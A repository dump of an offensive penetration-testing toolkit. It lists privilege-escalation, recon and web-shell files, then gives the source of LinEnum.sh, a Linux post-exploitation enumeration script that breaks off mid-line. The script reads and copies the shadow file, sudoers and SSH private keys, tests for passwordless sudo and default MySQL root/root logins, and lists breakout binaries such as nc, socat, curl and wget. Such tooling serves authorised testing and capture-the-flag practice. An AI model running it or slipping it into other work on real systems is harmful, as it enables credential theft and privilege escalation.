├── PrivEsc ├── Linux │ ├── LinEnum.sh │ ├── ProcMon.sh │ ├── linuxprivchecker.py │ ├── pspy32 │ ├── pspy64 │ └── upc.sh └── Windows │ ├── PowerUp.ps1 │ ├── Sherlock.ps1 │ ├── Watson.exe │ ├── accesschk-2003-xp.exe │ ├── accesschk-2008-vista.exe │ ├── cacls.bat │ ├── jaws-enum.ps1 │ └── tasks.bat ├── README.md ├── Recon ├── dirbustHAM.py ├── dirtrav.py ├── ftprecon.py ├── mssqlrecon.py ├── mysqlrecon.py ├── rdprecon.py ├── smbver.sh └── telnetrecon.py └── Shells ├── phpbash ├── purephp.php └── wintty.ps1 /PrivEsc/Linux/LinEnum.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #A script to enumerate local information from a Linux host 3 | version="version 0.96" 4 | #@rebootuser 5 | 6 | #help function 7 | usage () 8 | { 9 | echo -e "\n\e[00;31m#########################################################\e[00m" 10 | echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 11 | echo -e "\e[00;31m#########################################################\e[00m" 12 | echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m" 13 | echo -e "\e[00;33m# $version\e[00m\n" 14 | echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" 15 | 16 | echo "OPTIONS:" 17 | echo "-k Enter keyword" 18 | echo "-e Enter export location" 19 | echo "-s Supply user password for sudo checks (INSECURE)" 20 | echo "-t Include thorough (lengthy) tests" 21 | echo "-r Enter report name" 22 | echo "-h Displays this help text" 23 | echo -e "\n" 24 | echo "Running with no options = limited scans/no output file" 25 | 26 | echo -e "\e[00;31m#########################################################\e[00m" 27 | } 28 | header() 29 | { 30 | echo -e "\n\e[00;31m#########################################################\e[00m" 31 | echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 32 | echo -e "\e[00;31m#########################################################\e[00m" 33 | echo -e "\e[00;33m# www.rebootuser.com\e[00m" 34 | echo -e "\e[00;33m# $version\e[00m\n" 35 | 36 | } 37 | 38 | debug_info() 39 | { 40 | echo "[-] Debug Info" 41 | 42 | if [ "$keyword" ]; then 43 | echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" 44 | fi 45 | 46 | if [ "$report" ]; then 47 | echo "[+] Report name = $report" 48 | fi 49 | 50 | if [ "$export" ]; then 51 | echo "[+] Export location = $export" 52 | fi 53 | 54 | if [ "$thorough" ]; then 55 | echo "[+] Thorough tests = Enabled" 56 | else 57 | echo -e "\e[00;33m[+] Thorough tests = Disabled\e[00m" 58 | fi 59 | 60 | sleep 2 61 | 62 | if [ "$export" ]; then 63 | mkdir $export 2>/dev/null 64 | format=$export/LinEnum-export-`date +"%d-%m-%y"` 65 | mkdir $format 2>/dev/null 66 | fi 67 | 68 | if [ "$sudopass" ]; then 69 | echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m" 70 | read -s userpassword 71 | echo 72 | fi 73 | 74 | who=`whoami` 2>/dev/null 75 | echo -e "\n" 76 | 77 | echo -e "\e[00;33mScan started at:"; date 78 | echo -e "\e[00m\n" 79 | } 80 | 81 | # useful binaries (thanks to https://gtfobins.github.io/) 82 | binarylist='nmap\|perl\|awk\|find\|bash\|sh\|man\|more\|less\|vi\|emacs\|vim\|nc\|netcat\|python\|ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|git\|rvim\|script\|ash\|csh\|curl\|dash\|ed\|env\|expect\|ftp\|sftp\|node\|php\|rpm\|rpmquery\|socat\|strace\|taskset\|tclsh\|telnet\|tftp\|wget\|wish\|zsh\|ssh$\|ip$\|arp\|mtr' 83 | 84 | system_info() 85 | { 86 | echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" 87 | 88 | #basic kernel info 89 | unameinfo=`uname -a 2>/dev/null` 90 | if [ "$unameinfo" ]; then 91 | echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" 92 | echo -e "\n" 93 | fi 94 | 95 | procver=`cat /proc/version 2>/dev/null` 96 | if [ "$procver" ]; then 97 | echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" 98 | echo -e "\n" 99 | fi 100 | 101 | #search all *-release files for version info 102 | release=`cat /etc/*-release 2>/dev/null` 103 | if [ "$release" ]; then 104 | echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" 105 | echo -e "\n" 106 | fi 107 | 108 | #target hostname info 109 | hostnamed=`hostname 2>/dev/null` 110 | if [ "$hostnamed" ]; then 111 | echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" 112 | echo -e "\n" 113 | fi 114 | } 115 | 116 | user_info() 117 | { 118 | echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" 119 | 120 | #current user details 121 | currusr=`id 2>/dev/null` 122 | if [ "$currusr" ]; then 123 | echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" 124 | echo -e "\n" 125 | fi 126 | 127 | #last logged on user information 128 | lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` 129 | if [ "$lastlogedonusrs" ]; then 130 | echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" 131 | echo -e "\n" 132 | fi 133 | 134 | #who else is logged on 135 | loggedonusrs=`w 2>/dev/null` 136 | if [ "$loggedonusrs" ]; then 137 | echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" 138 | echo -e "\n" 139 | fi 140 | 141 | #lists all id's and respective group(s) 142 | grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null` 143 | if [ "$grpinfo" ]; then 144 | echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo" 145 | echo -e "\n" 146 | fi 147 | 148 | #added by phackt - look for adm group (thanks patrick) 149 | adm_users=$(echo -e "$grpinfo" | grep "(adm)") 150 | if [[ ! -z $adm_users ]]; 151 | then 152 | echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users" 153 | echo -e "\n" 154 | fi 155 | 156 | #checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) 157 | hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` 158 | if [ "$hashesinpasswd" ]; then 159 | echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" 160 | echo -e "\n" 161 | fi 162 | 163 | #contents of /etc/passwd 164 | readpasswd=`cat /etc/passwd 2>/dev/null` 165 | if [ "$readpasswd" ]; then 166 | echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" 167 | echo -e "\n" 168 | fi 169 | 170 | if [ "$export" ] && [ "$readpasswd" ]; then 171 | mkdir $format/etc-export/ 2>/dev/null 172 | cp /etc/passwd $format/etc-export/passwd 2>/dev/null 173 | fi 174 | 175 | #checks to see if the shadow file can be read 176 | readshadow=`cat /etc/shadow 2>/dev/null` 177 | if [ "$readshadow" ]; then 178 | echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" 179 | echo -e "\n" 180 | fi 181 | 182 | if [ "$export" ] && [ "$readshadow" ]; then 183 | mkdir $format/etc-export/ 2>/dev/null 184 | cp /etc/shadow $format/etc-export/shadow 2>/dev/null 185 | fi 186 | 187 | #checks to see if /etc/master.passwd can be read - BSD 'shadow' variant 188 | readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` 189 | if [ "$readmasterpasswd" ]; then 190 | echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" 191 | echo -e "\n" 192 | fi 193 | 194 | if [ "$export" ] && [ "$readmasterpasswd" ]; then 195 | mkdir $format/etc-export/ 2>/dev/null 196 | cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null 197 | fi 198 | 199 | #all root accounts (uid 0) 200 | superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null` 201 | if [ "$superman" ]; then 202 | echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman" 203 | echo -e "\n" 204 | fi 205 | 206 | #pull out vital sudoers info 207 | sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null` 208 | if [ "$sudoers" ]; then 209 | echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers" 210 | echo -e "\n" 211 | fi 212 | 213 | if [ "$export" ] && [ "$sudoers" ]; then 214 | mkdir $format/etc-export/ 2>/dev/null 215 | cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null 216 | fi 217 | 218 | #can we sudo without supplying a password 219 | sudoperms=`echo '' | sudo -S -l -k 2>/dev/null` 220 | if [ "$sudoperms" ]; then 221 | echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" 222 | echo -e "\n" 223 | fi 224 | 225 | #check sudo perms - authenticated 226 | if [ "$sudopass" ]; then 227 | if [ "$sudoperms" ]; then 228 | : 229 | else 230 | sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null` 231 | if [ "$sudoauth" ]; then 232 | echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" 233 | echo -e "\n" 234 | fi 235 | fi 236 | fi 237 | 238 | ##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated 239 | if [ "$sudopass" ]; then 240 | if [ "$sudoperms" ]; then 241 | : 242 | else 243 | sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` 244 | if [ "$sudopermscheck" ]; then 245 | echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" 246 | echo -e "\n" 247 | fi 248 | fi 249 | fi 250 | 251 | #known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) 252 | sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` 253 | if [ "$sudopwnage" ]; then 254 | echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" 255 | echo -e "\n" 256 | fi 257 | 258 | #who has sudoed in the past 259 | whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null` 260 | if [ "$whohasbeensudo" ]; then 261 | echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" 262 | echo -e "\n" 263 | fi 264 | 265 | #checks to see if roots home directory is accessible 266 | rthmdir=`ls -ahl /root/ 2>/dev/null` 267 | if [ "$rthmdir" ]; then 268 | echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" 269 | echo -e "\n" 270 | fi 271 | 272 | #displays /home directory permissions - check if any are lax 273 | homedirperms=`ls -ahl /home/ 2>/dev/null` 274 | if [ "$homedirperms" ]; then 275 | echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" 276 | echo -e "\n" 277 | fi 278 | 279 | #looks for files we can write to that don't belong to us 280 | if [ "$thorough" = "1" ]; then 281 | grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 282 | if [ "$grfilesall" ]; then 283 | echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" 284 | echo -e "\n" 285 | fi 286 | fi 287 | 288 | #looks for files that belong to us 289 | if [ "$thorough" = "1" ]; then 290 | ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 291 | if [ "$ourfilesall" ]; then 292 | echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall" 293 | echo -e "\n" 294 | fi 295 | fi 296 | 297 | #looks for hidden files 298 | if [ "$thorough" = "1" ]; then 299 | hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` 300 | if [ "$hiddenfiles" ]; then 301 | echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles" 302 | echo -e "\n" 303 | fi 304 | fi 305 | 306 | #looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch 307 | if [ "$thorough" = "1" ]; then 308 | wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` 309 | if [ "$wrfileshm" ]; then 310 | echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" 311 | echo -e "\n" 312 | fi 313 | fi 314 | 315 | if [ "$thorough" = "1" ]; then 316 | if [ "$export" ] && [ "$wrfileshm" ]; then 317 | mkdir $format/wr-files/ 2>/dev/null 318 | for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null 319 | fi 320 | fi 321 | 322 | #lists current user's home directory contents 323 | if [ "$thorough" = "1" ]; then 324 | homedircontents=`ls -ahl ~ 2>/dev/null` 325 | if [ "$homedircontents" ] ; then 326 | echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" 327 | echo -e "\n" 328 | fi 329 | fi 330 | 331 | #checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch 332 | if [ "$thorough" = "1" ]; then 333 | sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` 334 | if [ "$sshfiles" ]; then 335 | echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" 336 | echo -e "\n" 337 | fi 338 | fi 339 | 340 | if [ "$thorough" = "1" ]; then 341 | if [ "$export" ] && [ "$sshfiles" ]; then 342 | mkdir $format/ssh-files/ 2>/dev/null 343 | for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null 344 | fi 345 | fi 346 | 347 | #is root permitted to login via ssh 348 | sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` 349 | if [ "$sshrootlogin" = "yes" ]; then 350 | echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" 351 | echo -e "\n" 352 | fi 353 | } 354 | 355 | environmental_info() 356 | { 357 | echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" 358 | 359 | #env information 360 | envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` 361 | if [ "$envinfo" ]; then 362 | echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" 363 | echo -e "\n" 364 | fi 365 | 366 | #check if selinux is enabled 367 | sestatus=`sestatus 2>/dev/null` 368 | if [ "$sestatus" ]; then 369 | echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus" 370 | echo -e "\n" 371 | fi 372 | 373 | #phackt 374 | 375 | #current path configuration 376 | pathinfo=`echo $PATH 2>/dev/null` 377 | if [ "$pathinfo" ]; then 378 | echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 379 | echo -e "\n" 380 | fi 381 | 382 | #lists available shells 383 | shellinfo=`cat /etc/shells 2>/dev/null` 384 | if [ "$shellinfo" ]; then 385 | echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" 386 | echo -e "\n" 387 | fi 388 | 389 | #current umask value with both octal and symbolic output 390 | umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null` 391 | if [ "$umaskvalue" ]; then 392 | echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" 393 | echo -e "\n" 394 | fi 395 | 396 | #umask value as in /etc/login.defs 397 | umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null` 398 | if [ "$umaskdef" ]; then 399 | echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" 400 | echo -e "\n" 401 | fi 402 | 403 | #password policy information as stored in /etc/login.defs 404 | logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null` 405 | if [ "$logindefs" ]; then 406 | echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" 407 | echo -e "\n" 408 | fi 409 | 410 | if [ "$export" ] && [ "$logindefs" ]; then 411 | mkdir $format/etc-export/ 2>/dev/null 412 | cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null 413 | fi 414 | } 415 | 416 | job_info() 417 | { 418 | echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" 419 | 420 | #are there any cron jobs configured 421 | cronjobs=`ls -la /etc/cron* 2>/dev/null` 422 | if [ "$cronjobs" ]; then 423 | echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" 424 | echo -e "\n" 425 | fi 426 | 427 | #can we manipulate these jobs in any way 428 | cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 429 | if [ "$cronjobwwperms" ]; then 430 | echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" 431 | echo -e "\n" 432 | fi 433 | 434 | #contab contents 435 | crontabvalue=`cat /etc/crontab 2>/dev/null` 436 | if [ "$crontabvalue" ]; then 437 | echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" 438 | echo -e "\n" 439 | fi 440 | 441 | crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` 442 | if [ "$crontabvar" ]; then 443 | echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" 444 | echo -e "\n" 445 | fi 446 | 447 | anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` 448 | if [ "$anacronjobs" ]; then 449 | echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" 450 | echo -e "\n" 451 | fi 452 | 453 | anacrontab=`ls -la /var/spool/anacron 2>/dev/null` 454 | if [ "$anacrontab" ]; then 455 | echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" 456 | echo -e "\n" 457 | fi 458 | 459 | #pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) 460 | cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null` 461 | if [ "$cronother" ]; then 462 | echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" 463 | echo -e "\n" 464 | fi 465 | 466 | # list systemd timers 467 | if [ "$thorough" = "1" ]; then 468 | # include inactive timers in thorough mode 469 | systemdtimers="$(systemctl list-timers --all 2>/dev/null)" 470 | info="" 471 | else 472 | systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)" 473 | # replace the info in the output with a hint towards thorough mode 474 | info="\e[2mEnable thorough tests to see inactive timers\e[00m" 475 | fi 476 | if [ "$systemdtimers" ]; then 477 | echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info" 478 | echo -e "\n" 479 | fi 480 | 481 | } 482 | 483 | networking_info() 484 | { 485 | echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" 486 | 487 | #nic information 488 | nicinfo=`/sbin/ifconfig -a 2>/dev/null` 489 | if [ "$nicinfo" ]; then 490 | echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" 491 | echo -e "\n" 492 | fi 493 | 494 | #nic information (using ip) 495 | nicinfoip=`/sbin/ip a 2>/dev/null` 496 | if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then 497 | echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" 498 | echo -e "\n" 499 | fi 500 | 501 | arpinfo=`arp -a 2>/dev/null` 502 | if [ "$arpinfo" ]; then 503 | echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" 504 | echo -e "\n" 505 | fi 506 | 507 | arpinfoip=`ip n 2>/dev/null` 508 | if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then 509 | echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" 510 | echo -e "\n" 511 | fi 512 | 513 | #dns settings 514 | nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null` 515 | if [ "$nsinfo" ]; then 516 | echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" 517 | echo -e "\n" 518 | fi 519 | 520 | nsinfosysd=`systemd-resolve --status 2>/dev/null` 521 | if [ "$nsinfosysd" ]; then 522 | echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" 523 | echo -e "\n" 524 | fi 525 | 526 | #default route configuration 527 | defroute=`route 2>/dev/null | grep default` 528 | if [ "$defroute" ]; then 529 | echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" 530 | echo -e "\n" 531 | fi 532 | 533 | #default route configuration 534 | defrouteip=`ip r 2>/dev/null | grep default` 535 | if [ ! "$defroute" ] && [ "$defrouteip" ]; then 536 | echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" 537 | echo -e "\n" 538 | fi 539 | 540 | #listening TCP 541 | tcpservs=`netstat -antp 2>/dev/null` 542 | if [ "$tcpservs" ]; then 543 | echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" 544 | echo -e "\n" 545 | fi 546 | 547 | tcpservsip=`ss -t 2>/dev/null` 548 | if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then 549 | echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" 550 | echo -e "\n" 551 | fi 552 | 553 | #listening UDP 554 | udpservs=`netstat -anup 2>/dev/null` 555 | if [ "$udpservs" ]; then 556 | echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" 557 | echo -e "\n" 558 | fi 559 | 560 | udpservsip=`ip -u 2>/dev/null` 561 | if [ ! "$udpservs" ] && [ "$udpservsip" ]; then 562 | echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" 563 | echo -e "\n" 564 | fi 565 | } 566 | 567 | services_info() 568 | { 569 | echo -e "\e[00;33m### SERVICES #############################################\e[00m" 570 | 571 | #running processes 572 | psaux=`ps aux 2>/dev/null` 573 | if [ "$psaux" ]; then 574 | echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" 575 | echo -e "\n" 576 | fi 577 | 578 | #lookup process binary path and permissisons 579 | procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` 580 | if [ "$procperm" ]; then 581 | echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" 582 | echo -e "\n" 583 | fi 584 | 585 | if [ "$export" ] && [ "$procperm" ]; then 586 | procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` 587 | mkdir $format/ps-export/ 2>/dev/null 588 | for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null 589 | fi 590 | 591 | #anything 'useful' in inetd.conf 592 | inetdread=`cat /etc/inetd.conf 2>/dev/null` 593 | if [ "$inetdread" ]; then 594 | echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" 595 | echo -e "\n" 596 | fi 597 | 598 | if [ "$export" ] && [ "$inetdread" ]; then 599 | mkdir $format/etc-export/ 2>/dev/null 600 | cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null 601 | fi 602 | 603 | #very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each 604 | inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` 605 | if [ "$inetdbinperms" ]; then 606 | echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" 607 | echo -e "\n" 608 | fi 609 | 610 | xinetdread=`cat /etc/xinetd.conf 2>/dev/null` 611 | if [ "$xinetdread" ]; then 612 | echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" 613 | echo -e "\n" 614 | fi 615 | 616 | if [ "$export" ] && [ "$xinetdread" ]; then 617 | mkdir $format/etc-export/ 2>/dev/null 618 | cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null 619 | fi 620 | 621 | xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null` 622 | if [ "$xinetdincd" ]; then 623 | echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null 624 | echo -e "\n" 625 | fi 626 | 627 | #very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each 628 | xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` 629 | if [ "$xinetdbinperms" ]; then 630 | echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" 631 | echo -e "\n" 632 | fi 633 | 634 | initdread=`ls -la /etc/init.d 2>/dev/null` 635 | if [ "$initdread" ]; then 636 | echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" 637 | echo -e "\n" 638 | fi 639 | 640 | #init.d files NOT belonging to root! 641 | initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 642 | if [ "$initdperms" ]; then 643 | echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" 644 | echo -e "\n" 645 | fi 646 | 647 | rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` 648 | if [ "$rcdread" ]; then 649 | echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" 650 | echo -e "\n" 651 | fi 652 | 653 | #init.d files NOT belonging to root! 654 | rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 655 | if [ "$rcdperms" ]; then 656 | echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" 657 | echo -e "\n" 658 | fi 659 | 660 | usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` 661 | if [ "$usrrcdread" ]; then 662 | echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" 663 | echo -e "\n" 664 | fi 665 | 666 | #rc.d files NOT belonging to root! 667 | usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 668 | if [ "$usrrcdperms" ]; then 669 | echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" 670 | echo -e "\n" 671 | fi 672 | 673 | initread=`ls -la /etc/init/ 2>/dev/null` 674 | if [ "$initread" ]; then 675 | echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread" 676 | echo -e "\n" 677 | fi 678 | 679 | # upstart scripts not belonging to root 680 | initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 681 | if [ "$initperms" ]; then 682 | echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms" 683 | echo -e "\n" 684 | fi 685 | 686 | systemdread=`ls -lthR /lib/systemd/ 2>/dev/null` 687 | if [ "$systemdread" ]; then 688 | echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread" 689 | echo -e "\n" 690 | fi 691 | 692 | # systemd files not belonging to root 693 | systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 694 | if [ "$systemdperms" ]; then 695 | echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms" 696 | echo -e "\n" 697 | fi 698 | } 699 | 700 | software_configs() 701 | { 702 | echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" 703 | 704 | #sudo version - check to see if there are any known vulnerabilities with this 705 | sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` 706 | if [ "$sudover" ]; then 707 | echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" 708 | echo -e "\n" 709 | fi 710 | 711 | #mysql details - if installed 712 | mysqlver=`mysql --version 2>/dev/null` 713 | if [ "$mysqlver" ]; then 714 | echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" 715 | echo -e "\n" 716 | fi 717 | 718 | #checks to see if root/root will get us a connection 719 | mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` 720 | if [ "$mysqlconnect" ]; then 721 | echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" 722 | echo -e "\n" 723 | fi 724 | 725 | #mysql version details 726 | mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` 727 | if [ "$mysqlconnectnopass" ]; then 728 | echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" 729 | echo -e "\n" 730 | fi 731 | 732 | #postgres details - if installed 733 | postgver=`psql -V 2>/dev/null` 734 | if [ "$postgver" ]; then 735 | echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" 736 